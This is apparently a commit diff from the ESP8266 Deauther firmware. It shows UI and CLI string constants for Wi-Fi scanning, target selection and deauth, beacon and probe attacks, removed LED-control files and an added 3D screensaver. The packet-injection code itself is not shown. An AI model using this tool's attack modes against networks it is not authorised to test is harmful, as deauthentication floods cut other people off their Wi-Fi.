" //s:` `y d \r\n"
" +/-:/++/-` `y h-` \r\n"
" y:hs-ysosss..y --/+++/-` \r\n"
" ds:`s:o+`-:`o:oos./h++osoo` \r\n"
" :: o+++ h:y `o+.s:`.:: \r\n"
" -+- -/` :s.++ \r\n"
" `/+- ";
const char CLI_SYSTEM_INFO[] PROGMEM = "[======== SYSTEM INFO ========]";
const char CLI_SYSTEM_OUTPUT[] PROGMEM = "RAM usage: %u bytes used [%d%%], %u bytes free [%d%%], %u bytes in total\r\n";
const char CLI_SYSTEM_AP_MAC[] PROGMEM = "AP MAC address: ";
const char CLI_SYSTEM_ST_MAC[] PROGMEM = "Station MAC address: ";
const char CLI_SYSTEM_RAM_OUT[] PROGMEM = "SPIFFS: %u bytes used [%d%%], %u bytes free [%d%%], %u bytes in total\r\n";
const char CLI_SYSTEM_SPIFFS_OUT[] PROGMEM = " block size %u bytes, page size %u bytes\r\n";
const char CLI_FILES[] PROGMEM = "Files: ";
const char CLI_BYTES[] PROGMEM = " bytes";
const char CLI_SYSTEM_FOOTER[] PROGMEM = "===============================";
const char CLI_FORMATTING_SPIFFS[] PROGMEM = "Formatting SPIFFS...";
const char CLI_REMOVED[] PROGMEM = "Removed ";
const char CLI_ERROR_REMOVING[] PROGMEM = "ERROR: removing ";
const char CLI_REMOVING_LINES[] PROGMEM = "Removed lines ";
const char CLI_COPIED_FILES[] PROGMEM = "Copied file";
const char CLI_ERROR_COPYING[] PROGMEM = "ERROR: Copying file";
const char CLI_RENAMED_FILE[] PROGMEM = "Renamed file";
const char CLI_ERROR_RENAMING_FILE[] PROGMEM = "ERROR: Renaming file";
const char CLI_WRITTEN[] PROGMEM = "Written \"";
const char CLI_TO[] PROGMEM = "\" to ";
const char CLI_REPLACED_LINE[] PROGMEM = "Replaced line ";
const char CLI_WITH[] PROGMEM = " with ";
const char CLI_ERROR_REPLACING_LINE[] PROGMEM = "ERROR: replacing line in ";
const char CLI_INFO_HEADER[] PROGMEM = "====================================================================================";
const char CLI_INFO_SOFTWARE[] PROGMEM = "ESP8266 Deauther ";
const char CLI_INFO_COPYRIGHT[] PROGMEM = "2018 (c) Stefan Kremser";
const char CLI_INFO_LICENSE[] PROGMEM = "This software is licensed under the MIT License.";
const char CLI_INFO_ADDON[] PROGMEM = "For more information please visit github.com/spacehuhn/esp8266_deauther";
const char CLI_DEAUTHING[] PROGMEM = "Deauthing ";
const char CLI_ARROW[] PROGMEM = " -> ";
const char CLI_SENDING_BEACON[] PROGMEM = "Sending Beacon \"";
const char CLI_SENDING_PROBE[] PROGMEM = "Sending Probe \"";
const char CLI_CUSTOM_SENT[] PROGMEM = "Sent out custom packet";
const char CLI_CUSTOM_FAILED[] PROGMEM = "Sending custom packet failed";
const char CLI_DRAW_OUTPUT[] PROGMEM = "%+4u";
const char CLI_ERROR_NOT_FOUND_A[] PROGMEM = "ERROR: command \"";
const char CLI_ERROR_NOT_FOUND_B[] PROGMEM = "\" not found :(";
const char CLI_SYSTEM_CHANNEL[] PROGMEM = "Current WiFi channel: ";
const char CLI_CHANGED_SCREEN[] PROGMEM = "Changed screen mode";
const char CLI_DEFAULT_AUTOSTART[] PROGMEM = "scan -t 5s\nsysinfo\n";
const char CLI_RESUMED[] PROGMEM = "Command Line resumed";
// ===== DISPLAY ===== //
// DEBUG MESSAGES
const char D_ERROR_NOT_ENABLED[] PROGMEM = "ERROR: Display not enabled";
const char D_MSG_DISPLAY_OFF[] PROGMEM = "Turned display off";
const char D_MSG_DISPLAY_ON[] PROGMEM = "Turned display on";
// LOADING SCREEN
const char DSP_SCAN_FOR[] PROGMEM = "Scan for";
const char DSP_APS[] PROGMEM = "APs";
const char DSP_STS[] PROGMEM = "STs";
const char DSP_PKTS[] PROGMEM = "Pkts";
const char DSP_S[] PROGMEM = "/s";
const char DSP_SCAN_DONE[] PROGMEM = "Done";
// ALL MENUS
const char D_BACK[] PROGMEM = "[BACK]";
const char D_REMOVE_ALL[] PROGMEM = "REMOVE ALL";
const char D_SELECT[] PROGMEM = "SELECT";
const char D_DESELECT[] PROGMEM = "DESELECT";
const char D_REMOVE[] PROGMEM = "REMOVE";
const char D_SELECT_ALL[] PROGMEM = "SELECT ALL";
const char D_DESELECT_ALL[] PROGMEM = "DESELECT ALL";
const char D_CLONE[] PROGMEM = "CLONE SSID";
const char D_LED[] PROGMEM = "LED";
// BUTTON TEST
const char D_UP[] PROGMEM = "UP:";
const char D_DOWN[] PROGMEM = "DOWN:";
const char D_LEFT[] PROGMEM = "LEFT:";
const char D_RIGHT[] PROGMEM = "RIGHT:";
const char D_B[] PROGMEM = "A:";
const char D_A[] PROGMEM = "B:";
// MAIN MENU
const char D_SCAN[] PROGMEM = "SCAN";
const char D_SHOW[] PROGMEM = "SELECT";
const char D_ATTACK[] PROGMEM = "ATTACK";
const char D_PACKET_MONITOR[] PROGMEM = "PACKET MONITOR";
const char D_CLOCK[] PROGMEM = "CLOCK";
const char D_CLOCK_DISPLAY[] PROGMEM = "CLOCK DISPLAY";
const char D_CLOCK_SET[] PROGMEM = "SET CLOCK";
// SCAN MENU
const char D_SCAN_APST[] PROGMEM = "SCAN AP + ST";
const char D_SCAN_AP[] PROGMEM = "SCAN APs";
const char D_SCAN_ST[] PROGMEM = "SCAN Stations";
// SHOW MENU
const char D_ACCESSPOINTS[] PROGMEM = "APs ";
const char D_STATIONS[] PROGMEM = "Stations ";
const char D_NAMES[] PROGMEM = "Names ";
const char D_SSIDS[] PROGMEM = "SSIDs ";
// SSID LIST MENU
const char D_CLONE_APS[] PROGMEM = "CLONE APs";
const char D_RANDOM_MODE[] PROGMEM = "RANDOM MODE";
// ATTACK MENU
const char D_DEAUTH[] PROGMEM = "DEAUTH";
const char D_BEACON[] PROGMEM = "BEACON";
const char D_PROBE[] PROGMEM = "PROBE";
const char D_START_ATTACK[] PROGMEM = "START";
const char D_STOP_ATTACK[] PROGMEM = "STOP";
// SUB MENUS
const char D_ENCRYPTION[] PROGMEM = "Encryption:";
const char D_RSSI[] PROGMEM = "RSSI:";
const char D_CHANNEL[] PROGMEM = "Channel:";
const char D_CH[] PROGMEM = "Ch";
const char D_VENDOR[] PROGMEM = "Vendor:";
const char D_AP[] PROGMEM = "AP:";
const char D_PKTS[] PROGMEM = "pkts";
const char D_SEEN[] PROGMEM = "Seen:";
// ===== STATIONS ===== //
const char ST_CLEARED_LIST[] PROGMEM = "Cleared station list";
const char ST_REMOVED_STATION[] PROGMEM = "Removed station ";
const char ST_LIST_EMPTY[] PROGMEM = "Station list is empty :(";
const char ST_HEADER[] PROGMEM = "[===== Stations =====]";
const char ST_NO_DEVICES_SELECTED[] PROGMEM = "No devices selected";
const char ST_TABLE_HEADER[] PROGMEM = "ID MAC Ch Name Vendor Pkts AP Last Seen Selected";
const char ST_TABLE_DIVIDER[] PROGMEM = "==============================================================================================================";
const char ST_SMALLER_ONESEC[] PROGMEM = "<1sec";
const char ST_SMALLER_ONEMIN[] PROGMEM = "<1min";
const char ST_BIGER_ONEHOUR[] PROGMEM = ">1h";
const char ST_SELECTED_STATION[] PROGMEM = "Selected station ";
const char ST_DESELECTED_STATION[] PROGMEM = "Deselected station ";
const char ST_ERROR_ID[] PROGMEM = "ERROR: No station found with ID ";
const char ST_SELECTED_ALL[] PROGMEM = "Selected all stations";
const char ST_DESELECTED_ALL[] PROGMEM = "Deselected all stations";
// ===== ACCESS POINTS ===== //
const char AP_HEADER[] PROGMEM = "[===== Access Points =====]";
const char AP_LIST_EMPTY[] PROGMEM = "AP list is empty :(";
const char AP_NO_AP_SELECTED[] PROGMEM = "No APs selected";
const char AP_TABLE_HEADER[] PROGMEM = "ID SSID Name Ch RSSI Enc. Mac Vendor Selected";
const char AP_TABLE_DIVIDER[] PROGMEM = "=====================================================================================================";
const char AP_HIDDE_SSID[] PROGMEM = "*HIDDEN*";
const char AP_WEP[] PROGMEM = "WEP";
const char AP_WPA[] PROGMEM = "WPA";
const char AP_WPA2[] PROGMEM = "WPA2";
const char AP_AUTO[] PROGMEM = "WPA*";
const char AP_SELECTED[] PROGMEM = "Selected access point ";
const char AP_DESELECTED[] PROGMEM = "Deselected access point ";
const char AP_REMOVED[] PROGMEM = "Removed access point ";
const char AP_SELECTED_ALL[] PROGMEM = "Selected all APs";
const char AP_DESELECTED_ALL[] PROGMEM = "Deselected all APs";
const char AP_REMOVED_ALL[] PROGMEM = "Removed all APs";
const char AP_NO_AP_ERROR[] PROGMEM = "ERROR: No AP found with ID ";
// ===== ATTACKS ===== //
const char A_START[] PROGMEM = "Start attacking";
const char A_NO_MODE_ERROR[] PROGMEM = "WARNING: No valid attack mode set";
const char A_STOP[] PROGMEM = "Stopped attacking";
const char A_TIMEOUT[] PROGMEM = "Timeout - ";
const char A_STATUS[] PROGMEM = "[Pkt/s] All: %+4u | Deauths: %+3u/%-3u | Beacons: %+3u/%-3u | Probes: %+3u/%-3u\r\n";
const char A_ENABLED_OUTPUT[] PROGMEM = "Enabled attack output";
const char A_DISABLED_OUTPUT[] PROGMEM = "Disabled attack output";
// ===== NAMES ===== //
const char N_SAVED[] PROGMEM = "Device names saved in ";
const char N_LOADED[] PROGMEM = "Device names loaded from ";
const char N_REMOVED_ALL[] PROGMEM = "Removed all saved device names";
const char N_HEADER[] PROGMEM = "[===== Saved Devices =====]";
const char N_TABLE_HEADER[] PROGMEM = "ID MAC Vendor Name AP-BSSID Ch Selected";
const char N_TABLE_DIVIDER[] PROGMEM = "============================================================================";
const char N_ERROR_LIST_EMPTY[] PROGMEM = "Device name list is empty :(";
const char N_ERROR_NO_SELECTED[] PROGMEM = "No devices selected";
const char N_ERROR_LIST_FULL[] PROGMEM = "ERROR: Name list is full!";
const char N_ADDED[] PROGMEM = "Added to device name list ";
const char N_REPLACED[] PROGMEM = "Replaced device name list ";
const char N_REMOVED[] PROGMEM = "Removed from the device name list ";
const char N_CHANGED_NAME[] PROGMEM = "Changed device name";
const char N_CHANGED_MAC[] PROGMEM = "Changed device mac";
const char N_CHANGED_BSSID[] PROGMEM = "Changed device AP-BSSID";
const char N_CHANGED_CH[] PROGMEM = "Changed device channel";
const char N_SELECTED[] PROGMEM = "Selected device ";
const char N_ERROR_NOT_FOUND[] PROGMEM = "No device found with name ";
const char N_DESELECTED[] PROGMEM = "Deselected device ";
const char N_SELECTED_ALL[] PROGMEM = "Selected all device names";
const char N_DESELECTED_ALL[] PROGMEM = "Deselected all device names";
// ===== SSIDs ===== //
const char SS_LOADED[] PROGMEM = "SSIDs loaded from ";
const char SS_CLEARED[] PROGMEM = "Cleared SSID list";
const char SS_SAVED[] PROGMEM = "SSIDs saved";
const char SS_SAVED_IN[] PROGMEM = "SSIDs saved in ";
const char SS_REMOVED[] PROGMEM = "Removed SSID ";
const char SS_ERROR_FULL[] PROGMEM =
"ERROR: SSID list is full! Remove some SSIDs first or run command with -f (force) parameter.";
const char SS_ADDED[] PROGMEM = "Added SSID ";
const char SS_REPLACED[] PROGMEM = "Replaced SSID ";
const char SS_TABLE_HEADER[] PROGMEM = "ID Enc. SSID";
const char SS_TABLE_DIVIDER[] PROGMEM = "=========================================";
const char SS_HEADER[] PROGMEM = "[===== SSIDs =====]";
const char SS_ERROR_EMPTY[] PROGMEM = "SSID list is empty :(";
const char SS_RANDOM_ENABLED[] PROGMEM = "SSID random mode enabled";
const char SS_RANDOM_DISABLED[] PROGMEM = "SSID random mode deactivated";
const char SS_JSON_SSIDS[] PROGMEM = "ssids";
const char SS_JSON_RANDOM[] PROGMEM = "random";
const char SS_JSON_DEFAULT[] PROGMEM = "{\"random\":false,\"ssids\":[[\"Never gonna give you up\",false,23],[\"Never gonna let you down\",false,24],[\"Never gonna run around\",false,22],[\"Never gonna make you cry\",false,24],[\"Never gonna say goodbye\",false,23],[\"Never gonna tell a lie\",false,22],[\"Never gonna hurt you\",false,20],[\"Never gonna desert you\",false,22]]}";
const char SS_RANDOM_INFO[] PROGMEM = "Generating new SSIDs... Type \"disable random\" to stop the random mode";
// ===== SCAN ==== //
const char SC_START_CLIENT[] PROGMEM = "Starting Scan for stations (client devices) - ";
const char SS_START_SNIFFER[] PROGMEM = "Starting packet sniffer - ";
const char SC_ERROR_NO_AP[] PROGMEM =
"ERROR: AP-list empty! Can't scan for clients, please Scan for Accesspoints first.";
const char SC_INFINITELY[] PROGMEM = " infinitely";
const char SC_ON_CHANNEL[] PROGMEM = " on channel ";
const char SC_START_AP[] PROGMEM = "Starting scan for access points (Wi-Fi networks)...";
const char SC_ONE_TO[] PROGMEM = "1 - ";
const char SC_STOPPED[] PROGMEM = "Stopped scan";
const char SC_RESTRAT[] PROGMEM = "Scan will restart in ";
const char SC_CONTINUE[] PROGMEM = "s - type stop to disable the continuous mode";
const char SC_RESTART[] PROGMEM = "restarting in ";
const char SC_ERROR_MODE[] PROGMEM = "ERROR: Invalid scan mode ";
const char SC_OUTPUT_A[] PROGMEM = "Scanning WiFi [%+2u%%]: %+3u packets/s | %+2u devices | %+2u deauths\r\n";
const char SC_OUTPUT_B[] PROGMEM = "Scanning WiFi: %+3u packets/s | %+2u devices | %+2u deauths\r\n";
const char SC_JSON_APS[] PROGMEM = "aps";
const char SC_JSON_STATIONS[] PROGMEM = "stations";
const char SC_JSON_NAMES[] PROGMEM = "names";
const char SC_SAVED[] PROGMEM = "Saved scan results";
const char SC_SAVED_IN[] PROGMEM = "Scan results saved in ";
const char SC_MODE_OFF[] PROGMEM = "-";
const char SC_MODE_AP[] PROGMEM = "APs";
const char SC_MODE_ST[] PROGMEM = "STs";
const char SC_MODE_ALL[] PROGMEM = "AP+ST";
const char SC_MODE_SNIFFER[] PROGMEM = "Sniffer";
// ===== FUNCTIONS ===== //
const char F_ERROR_MAC[] PROGMEM = "ERROR: MAC address invalid";
const char F_COLOR_INVALID[] PROGMEM = "ERROR: Color code invalid";
const char F_ERROR_READING_FILE[] PROGMEM = "ERROR: reading file ";
const char F_LINE[] PROGMEM = "[%d] ";
const char F_ERROR_FILE[] PROGMEM = "ERROR: File doesn't exist ";
const char F_ERROR_OPEN[] PROGMEM = "ERROR couldn't open ";
const char F_ERROR_PARSING_JSON[] PROGMEM = "ERROR parsing JSON ";
const char F_ERROR_TO_BIG[] PROGMEM = "ERROR file too big ";
const char F_TMP[] PROGMEM = "/tmp";
const char F_COPY[] PROGMEM = "_copy";
const char F_ERROR_SAVING[] PROGMEM = "ERROR: saving file. Try 'format' and restart - ";
// ===== WIFI ===== //
const char W_STOPPED_AP[] PROGMEM = "Stopped Access Point";
const char W_AP_REQUEST[] PROGMEM = "[AP] request: ";
const char W_AP[] PROGMEM = "AP";
const char W_STATION[] PROGMEM = "Station";
const char W_MODE_OFF[] PROGMEM = "OFF";
const char W_MODE_AP[] PROGMEM = "AP";
const char W_MODE_ST[] PROGMEM = "STATION";
const char W_OK[] PROGMEM = " OK";
const char W_NOT_FOUND[] PROGMEM = " NOT FOUND";
const char W_BAD_ARGS[] PROGMEM = "BAD ARGS";
const char W_BAD_PATH[] PROGMEM = "BAD PATH";
const char W_FILE_NOT_FOUND[] PROGMEM = "ERROR 404 File Not Found";
const char W_STARTED_AP[] PROGMEM = "Started AP";
const char W_WEBINTERFACE[] PROGMEM = "/web"; // default folder containing the web files
const char W_DEFAULT_LANG[] PROGMEM = "/lang/default.lang";
const char W_HTML[] PROGMEM = "text/html";
const char W_CSS[] PROGMEM = "text/css";
const char W_JS[] PROGMEM = "application/javascript";
const char W_PNG[] PROGMEM = "image/png";
const char W_GIF[] PROGMEM = "image/gif";
const char W_JPG[] PROGMEM = "image/jpeg";
const char W_ICON[] PROGMEM = "image/x-icon";
const char W_XML[] PROGMEM = "text/xml";
const char W_XPDF[] PROGMEM = "application/x-pdf";
const char W_XZIP[] PROGMEM = "application/x-zip";
const char W_GZIP[] PROGMEM = "application/x-gzip";
const char W_JSON[] PROGMEM = "application/json";
const char W_TXT[] PROGMEM = "text/plain";
const char W_DOT_HTM[] PROGMEM = ".htm";
const char W_DOT_HTML[] PROGMEM = ".html";
const char W_DOT_CSS[] PROGMEM = ".css";
const char W_DOT_JS[] PROGMEM = ".js";
const char W_DOT_PNG[] PROGMEM = ".png";
const char W_DOT_GIF[] PROGMEM = ".gif";
const char W_DOT_JPG[] PROGMEM = ".jpg";
const char W_DOT_ICON[] PROGMEM = ".ico";
const char W_DOT_XML[] PROGMEM = ".xml";
const char W_DOT_PDF[] PROGMEM = ".pdf";
const char W_DOT_ZIP[] PROGMEM = ".zip";
const char W_DOT_GZIP[] PROGMEM = ".gz";
const char W_DOT_JSON[] PROGMEM = ".json";
// ===== SETTINGS ====== //
// Version
const char S_JSON_VERSION[] PROGMEM = "version";
// Autosave
const char S_JSON_AUTOSAVE[] PROGMEM = "autosave";
const char S_JSON_AUTOSAVETIME[] PROGMEM = "autosavetime";
// Attack
const char S_JSON_BEACONCHANNEL[] PROGMEM = "beaconchannel";
const char S_JSON_RANDOMTX[] PROGMEM = "randomTX";
const char S_JSON_ATTACKTIMEOUT[] PROGMEM = "attacktimeout";
const char S_JSON_DEAUTHSPERTARGET[] PROGMEM = "deauthspertarget";
const char S_JSON_DEAUTHREASON[] PROGMEM = "deauthReason";
const char S_JSON_BEACONINTERVAL[] PROGMEM = "beaconInterval";
const char S_JSON_PROBESPERSSID[] PROGMEM = "probesPerSSID";
// WiFi
const char S_JSON_CHANNEL[] PROGMEM = "channel";
const char S_JSON_MACST[] PROGMEM = "macSt";
const char S_JSON_MACAP[] PROGMEM = "macAP";
// Sniffer
const char S_JSON_CHTIME[] PROGMEM = "chtime";
const char S_JSON_MIN_DEAUTHS[] PROGMEM = "minDeauths";
// AP
const char S_JSON_SSID[] PROGMEM = "ssid";
const char S_JSON_PASSWORD[] PROGMEM = "password";
const char S_JSON_HIDDEN[] PROGMEM = "hidden";
const char S_JSON_IP[] PROGMEM = "ip";
// Web
const char S_JSON_WEBINTERFACE[] PROGMEM = "webinterface";
const char S_JSON_CAPTIVEPORTAL[] PROGMEM = "captivePortal";
const char S_JSON_WEB_SPIFFS[] PROGMEM = "webSpiffs";
const char S_JSON_LANG[] PROGMEM = "lang";
// CLI
const char S_JSON_SERIALINTERFACE[] PROGMEM = "serial";
const char S_JSON_SERIAL_ECHO[] PROGMEM = "serialEcho";
// LED
const char S_JSON_LEDENABLED[] PROGMEM = "led";
// Display
const char S_JSON_DISPLAYINTERFACE[] PROGMEM = "display";
const char S_JSON_DISPLAY_TIMEOUT[] PROGMEM = "displayTimeout";

View File

@ -1,135 +0,0 @@
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#include "led.h"
#include "A_config.h" // Config for LEDs
#include <Arduino.h> // digitalWrite, analogWrite, pinMode
#include "language.h" // Strings used in printColor and tempDisable
#include "settings.h" // used in update()
#include "Attack.h" // used in update()
#include "Scan.h" // used in update()
// Inlcude libraries for Neopixel or LED_MY92xx if used
#if defined(LED_NEOPIXEL)
#include "src/Adafruit_NeoPixel-1.7.0/Adafruit_NeoPixel.h"
#elif defined(LED_MY92)
#include "src/my92xx-3.0.3/my92xx.h"
#elif defined(LED_DOTSTAR)
#include "src/Adafruit_DotStar-1.1.4/Adafruit_DotStar.h"
#endif // if defined(LED_NEOPIXEL)
extern Attack attack;
extern Scan scan;
namespace led {
// ===== PRIVATE ===== //
LED_MODE mode = OFF;
#if defined(LED_NEOPIXEL_RGB)
Adafruit_NeoPixel strip { LED_NUM, LED_NEOPIXEL_PIN, NEO_RGB + NEO_KHZ800 };
#elif defined(LED_NEOPIXEL_GRB)
Adafruit_NeoPixel strip { LED_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800 };
#elif defined(LED_MY92)
my92xx myled { LED_MY92_MODEL, LED_NUM, LED_MY92_DATA, LED_MY92_CLK, MY92XX_COMMAND_DEFAULT };
#elif defined(LED_DOTSTAR)
Adafruit_DotStar strip { LED_NUM, LED_DOTSTAR_DATA, LED_DOTSTAR_CLK, DOTSTAR_BGR };
#endif // if defined(LED_NEOPIXEL_RGB)
void setColor(uint8_t r, uint8_t g, uint8_t b) {
#if defined(LED_DIGITAL)
if (LED_ANODE) {
if (LED_PIN_R < 255) digitalWrite(LED_PIN_R, r > 0);
if (LED_PIN_G < 255) digitalWrite(LED_PIN_G, g > 0);
if (LED_PIN_B < 255) digitalWrite(LED_PIN_B, b > 0);
} else {
if (LED_PIN_R < 255) digitalWrite(LED_PIN_R, r == 0);
if (LED_PIN_G < 255) digitalWrite(LED_PIN_G, g == 0);
if (LED_PIN_B < 255) digitalWrite(LED_PIN_B, b == 0);
}
#elif defined(LED_RGB)
if (r > 0) r = r * LED_MODE_BRIGHTNESS / 100;
if (g > 0) g = g * LED_MODE_BRIGHTNESS / 100;
if (b > 0) b = b * LED_MODE_BRIGHTNESS / 100;
if (LED_ANODE) {
r = 255 - r;
g = 255 - g;
b = 255 - b;
}
analogWrite(LED_PIN_R, r);
analogWrite(LED_PIN_G, g);
analogWrite(LED_PIN_B, b);
#elif defined(LED_NEOPIXEL) || defined(LED_DOTSTAR)
for (size_t i = 0; i < strip.numPixels(); i++) {
strip.setPixelColor(i, r, g, b);
}
strip.show();
#elif defined(LED_MY9291)
myled.setChannel(LED_MY92_CH_R, r);
myled.setChannel(LED_MY92_CH_G, g);
myled.setChannel(LED_MY92_CH_B, b);
myled.setChannel(LED_MY92_CH_BRIGHTNESS, LED_MODE_BRIGHTNESS);
myled.setState(true);
myled.update();
#endif // if defined(LED_DIGITAL)
}
// ===== PUBLIC ===== //
void setup() {
analogWriteRange(0xff);
#if defined(LED_DIGITAL) || defined(LED_RGB)
if (LED_PIN_R < 255) pinMode(LED_PIN_R, OUTPUT);
if (LED_PIN_G < 255) pinMode(LED_PIN_G, OUTPUT);
if (LED_PIN_B < 255) pinMode(LED_PIN_B, OUTPUT);
#elif defined(LED_NEOPIXEL) || defined(LED_DOTSTAR)
strip.begin();
strip.setBrightness(LED_MODE_BRIGHTNESS);
strip.show();
#elif defined(LED_MY9291)
myled.setChannel(LED_MY92_CH_R, 0);
myled.setChannel(LED_MY92_CH_G, 0);
myled.setChannel(LED_MY92_CH_B, 0);
myled.setChannel(LED_MY92_CH_BRIGHTNESS, LED_MODE_BRIGHTNESS);
myled.setState(true);
myled.update();
#endif // if defined(LED_DIGITAL) || defined(LED_RGB)
}
void update() {
if (!settings::getLEDSettings().enabled) {
setMode(OFF);
} else if (scan.isScanning() && (scan.deauths < settings::getSnifferSettings().min_deauth_frames)) {
setMode(SCAN);
} else if (attack.isRunning()) {
setMode(ATTACK);
} else {
setMode(IDLE);
}
}
void setMode(LED_MODE new_mode, bool force) {
if ((new_mode != mode) || force) {
mode = new_mode;
switch (mode) {
case OFF:
setColor(LED_MODE_OFF);
break;
case SCAN:
setColor(LED_MODE_SCAN);
break;
case ATTACK:
setColor(LED_MODE_ATTACK);
break;
case IDLE:
setColor(LED_MODE_IDLE);
break;
}
}
}
}

View File

@ -1,19 +0,0 @@
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#pragma once
#include <cstdint>
enum LED_MODE {
OFF,
SCAN,
ATTACK,
IDLE
};
namespace led {
void setup();
void update();
void setMode(LED_MODE new_mode, bool force = false);
void setColor(uint8_t r, uint8_t g, uint8_t b);
}

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,240 @@
#ifdef USE_DISPLAY
time_t lastactivity = millis();
time_t saveeafter = 100000; // millesecs before screensaver start
time_t screensavertimer = 0;
float angleX, angleY, angleZ;
float lastAngleX, lastAngleY, lastAngleZ;
#define DEBUG false
const double halfC = M_PI / 180;
// Overall scale and perspective distance
uint8_t sZ = 4, scale = 16, scaleMax = 16;
// screen center coordinates (calculated from screen dimensions)
uint8_t centerX = 64;
uint8_t centerY = 32;
typedef struct {
double x;
double y;
double z;
} Coord3DSet;
typedef struct {
double x;
double y;
} Coord2DSet;
typedef struct {
uint16_t id1;
uint16_t id2;
} Lines;
/* https://codepen.io/ge1doot/pen/grWrLe */
static Coord3DSet CubePoints3DArray[21] = {
{ 1, 1, 1 },
{ 1, 1, -1 },
{ 1, -1, 1 },
{ 1, -1, -1 },
{ -1, 1, 1 },
{ -1, 1, -1 },
{ -1, -1, 1 },
{ -1, -1, -1 },
{ 1, 1, 0 },
{ 1, 0, 1 },
{ 0, 1, 1 },
{ -1, 1, 0 },
{ -1, 0, 1 },
{ 0, -1, 1 },
{ 1, -1, 0 },
{ 1, 0, -1 },
{ 0, 1, -1 },
{ -1, -1, 0 },
{ -1, 0, -1 },
{ 0, -1, -1 },
{0, 0, 0}
};
static Coord3DSet CubePoints2DArray[21] = {
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 },
{ 0,0 }
};
static Lines LinesArray[12] = {
{ 0, 1 },
{ 0, 2 },
{ 0, 4 },
{ 1, 3 },
{ 1, 5 },
{ 2, 3 },
{ 2, 6 },
{ 3, 7 },
{ 4, 5 },
{ 4, 6 },
{ 5, 7 },
{ 6, 7 }
/*
{ 1, 4 },
{ 2, 3 },
{ 1, 6 },
{ 2, 5 },
{ 2, 8 },
{ 6, 4 },
{ 4, 7 },
{ 3, 8 },
{ 1, 7 },
{ 3, 5 },
{ 5, 8 },
{ 7, 6 }
*/
};
// used for sorting points by depth
uint16_t zsortedpoints[21] = {0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20};
uint16_t totalpoints = sizeof(CubePoints3DArray) / sizeof(CubePoints3DArray[0]);
uint16_t totallines = sizeof(LinesArray) / sizeof(LinesArray[0]);
void vectorRotateXYZ(double angle, int axe) {
int8_t m1; // coords polarity
uint8_t i1, i2; // coords index
double t1, t2;
uint16_t i;
for( i=0; i<totalpoints; i++ ) {
switch(axe) {
case 1: // X
m1 = -1;
t1 = CubePoints3DArray[i].y;
t2 = CubePoints3DArray[i].z;
CubePoints3DArray[i].y = t1*cos(angle)+(m1*t2)*sin(angle);
CubePoints3DArray[i].z = (-m1*t1)*sin(angle)+t2*cos(angle);
break;
case 2: // Y
m1 = 1;
t1 = CubePoints3DArray[i].x;
t2 = CubePoints3DArray[i].z;
CubePoints3DArray[i].x = t1*cos(angle)+(m1*t2)*sin(angle);
CubePoints3DArray[i].z = (-m1*t1)*sin(angle)+t2*cos(angle);
break;
case 3: // Z
m1 = 1;
t1 = CubePoints3DArray[i].x;
t2 = CubePoints3DArray[i].y;
CubePoints3DArray[i].x = t1*cos(angle)+(m1*t2)*sin(angle);
CubePoints3DArray[i].y = (-m1*t1)*sin(angle)+t2*cos(angle);
break;
}
}
}
/* sort xyz by z depth */
void zSortPoints() {
bool swapped;
uint16_t temp;
float radius, nextradius;
do {
swapped = false;
for(uint16_t i=0; i!=totalpoints-1; i++ ) {
radius = (-CubePoints3DArray[zsortedpoints[i]].z+3)*2;
nextradius = (-CubePoints3DArray[zsortedpoints[i+1]].z+3)*2;
if (radius > nextradius) {
temp = zsortedpoints[i];
zsortedpoints[i] = zsortedpoints[i + 1];
zsortedpoints[i + 1] = temp;
swapped = true;
}
}
} while (swapped);
}
/* draw scaled spheres from background to foreground */
void spherePlot() {
uint16_t i;
int radius, halfradius;
int transid;
for( i=0; i<totalpoints; i++ ) {
transid = zsortedpoints[i];
CubePoints2DArray[transid].x = centerX + scale/(1+CubePoints3DArray[transid].z/sZ)*CubePoints3DArray[transid].x;
CubePoints2DArray[transid].y = centerY + scale/(1+CubePoints3DArray[transid].z/sZ)*CubePoints3DArray[transid].y;
radius = (-CubePoints3DArray[transid].z+3)*2.5;
halfradius = radius / 2;
display.setColor(BLACK);
//display.fillCircle(CubePoints2DArray[transid].x, CubePoints2DArray[transid].y, radius-1);
display.fillCircle(CubePoints2DArray[transid].x, CubePoints2DArray[transid].y, radius+1);
display.setColor(WHITE);
display.drawCircle(CubePoints2DArray[transid].x, CubePoints2DArray[transid].y, radius);
display.fillCircle(CubePoints2DArray[transid].x+halfradius-1, CubePoints2DArray[transid].y+halfradius-1, halfradius);
}
}
/* draw lines between given pairs of points */
void meshPlot() {
uint16_t i;
uint16_t id1, id2;
for( i=0; i<totallines; i++ ) {
id1 = LinesArray[i].id1;
id2 = LinesArray[i].id2;
display.drawLine(CubePoints2DArray[id1].x, CubePoints2DArray[id1].y, CubePoints2DArray[id2].x, CubePoints2DArray[id2].y);
}
}
void drawScreenSaver() {
float diffAngleX, diffAngleY, diffAngleZ;
diffAngleX = lastAngleX - angleX;
diffAngleY = lastAngleY - angleY;
diffAngleZ = lastAngleZ - angleZ;
vectorRotateXYZ((double)(diffAngleY+0.1)*halfC, 1); // X
vectorRotateXYZ((double)(diffAngleX+0.1)*halfC, 2); // Y
vectorRotateXYZ((double)diffAngleZ*halfC, 3); // Z
zSortPoints();
display.clear();
meshPlot();
spherePlot();
display.display();
}
#endif

Some files were not shown because too many files have changed in this diff Show More